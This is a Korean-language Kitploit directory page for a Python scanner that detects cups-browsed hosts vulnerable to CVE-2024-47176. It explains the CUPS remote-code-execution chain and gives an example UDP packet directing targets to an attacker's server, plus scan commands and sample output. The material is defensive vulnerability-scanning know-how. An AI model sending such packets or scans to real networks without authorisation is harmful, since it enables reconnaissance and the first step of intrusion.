Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/malwaretech/cve-2024-47176-scanner
ReconnaissanceVulnerability ScannersExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHubmalwaretech/cve-2024-47176-scanner

CVE-2024-47176-Scanner

네트워크에서 취약한 cups-browsed 인스턴스를 식별하는 간단한 스캐너

저장소 보기
66131년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

빠른 시작

사용 예: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

CVE-2024-47176 취약점 스캐너 (cups-browsed)

CUPS란 무엇이며 왜 중요한가?

CUPS(Common Unix Printing System)는 UNIX 및 UNIX 계열 시스템에서 프린터를 관리하고 제어하기 위한 오픈소스 프레임워크입니다. 이는 인쇄를 위해 가장 널리 사용되는 라이브러리 중 하나이며 UNIX, Linux 및 일부 Apple 기기에서 지원됩니다.

CUPS에서 여러 가지 심각한 취약점이 발견되었으며, 연쇄적으로 연결될 경우 원격 코드 실행으로 이어질 수 있습니다. 해당 CVE는 CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177입니다.

이 취약점으로 인해 원격 공격자가 사용자가 인쇄를 시도할 때 임의 코드를 실행하도록 하는 방식으로 네트워크 프린터를 추가하거나 재구성할 수 있습니다.

취약한 CUPS 시스템 스캔

CVE-2024-47176 간략 개요

체인의 첫 번째 취약점인 CVE-2024-47176은 cups-browsed 데몬의 결함입니다.

취약점은 cups-browsed가 제어 포트(UDP 포트 631)를 INADDR_ANY에 바인딩하여 외부에 노출시키는 데서 발생합니다. 요청이 인증되지 않으므로 제어 포트에 도달할 수 있는 사람은 누구나 cups-browsed에 프린터 검색을 수행하도록 지시할 수 있습니다.

포트가 인터넷에서 접근 불가능한 경우(방화벽 또는 NAT로 인해)에도 로컬 네트워크를 통해 접근 가능할 수 있어 권한 상승 및 측면 이동이 가능합니다. 이러한 이유로, 저는 로컬 네트워크에서 취약한 cups-browsed 인스턴스를 스캔하도록 설계된 이 스캐너를 만들었습니다.

CVE-2024-47176 스캔 작동 방식

일반적으로 공격자는 UDP 포트 631의 cups-browsed에 특수하게 조작된 요청을 보내 악성 URL에 접속하도록 유도하는 것으로 악용 과정을 시작합니다.

예를 들어, 0 3 http://<attacker_server>/printers/malicious_printer를 포함하는 UDP 패킷은 cups-browsed가 http://<attacker_server>/printers/malicious_printer로 HTTP 요청을 보내도록 트리거합니다.

해당 URL이 악성 프린터로 제시되면 나머지 CVE를 연쇄적으로 사용하여 원격 코드 실행을 얻을 수 있습니다.

이 메커니즘을 사용하여 취약한 cups-browsed 인스턴스가 우리 서버에 HTTP 요청(콜백)을 보내도록 유발하여 취약하다는 것을 식별할 수 있습니다.

스캔 프로세스는 다음과 같습니다:

  1. 기본 HTTP 서버 설정(RCE 취약점을 악용하지 않을 것이므로 프린터로 식별할 필요 없음).
  2. cups-browsed가 우리 HTTP 서버에 연결하도록 지시하는 UDP 패킷 제작.
  3. 주어진 범위의 모든 IP에 대해 포트 631로 UDP 패킷 전송.
  4. /printers/ 엔드포인트에 대한 모든 POST 요청 기록(취약한 cups-browsed 인스턴스에 의해 트리거됨).

HTTP 서버가 10.0.0.1:1337에서 호스팅된다고 가정하면 UDP 패킷은 다음과 같아야 합니다: 0 3 http://10.0.0.1:1337/printers/test1234

cups_scanner.py로 스캔 자동화

이 Python 스캐너는 모든 것을 처리합니다(HTTP 서버 및 스캔 모두).

스크립트는 지정된 IP와 포트에서 http.server를 통해 임시 HTTP 서버를 실행한 다음, 지정된 범위의 모든 IP에 UDP 패킷을 구성하여 전송합니다. HTTP 서버는 취약한 cups-browsed 인스턴스의 콜백을 자동으로 캡처하여 디스크에 기록합니다.

사용자 친화적인 로그는 logs/cups.log에 기록되고 원시 HTTP 요청은 logs/requests.log에 기록됩니다.

명령줄 인수

--target 스캔할 CIDR입니다. 단일 CIDR 또는 쉼표로 구분된 여러 CIDR일 수 있습니다.
--callback HTTP 서버를 호스팅할 로컬 IP 및 포트(대상 범위에서 연결 가능해야 함)
--scan-unsafe 기본적으로 할당 가능한 호스트 주소만 스캔합니다(네트워크 주소 및 브로드캐스트 주소 제외). 경우에 따라 이러한 주소를 스캔하는 것이 바람직할 수 있으므로 --scan-unsafe 플래그로 이 동작을 재정의할 수 있습니다.

사용 예

IP 주소 10.0.0.1에서 CIDR 10.0.0.0/24 스캔, 콜백 서버를 1337에 호스팅:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

IP 주소 10.0.0.1에서 여러 CIDR 스캔, 콜백 서버를 1337에 호스팅:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337

참고: 콜백 서버 IP는 스캔 호스트에 속해야 하며, 포트는 모든 대상 IP에서 연결 가능해야 합니다.

출력 예

root@kitploit:~
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...

자세한 내용은 다음을 참조하세요: 공식 CUPS 취약점 보고서

도구 다운로드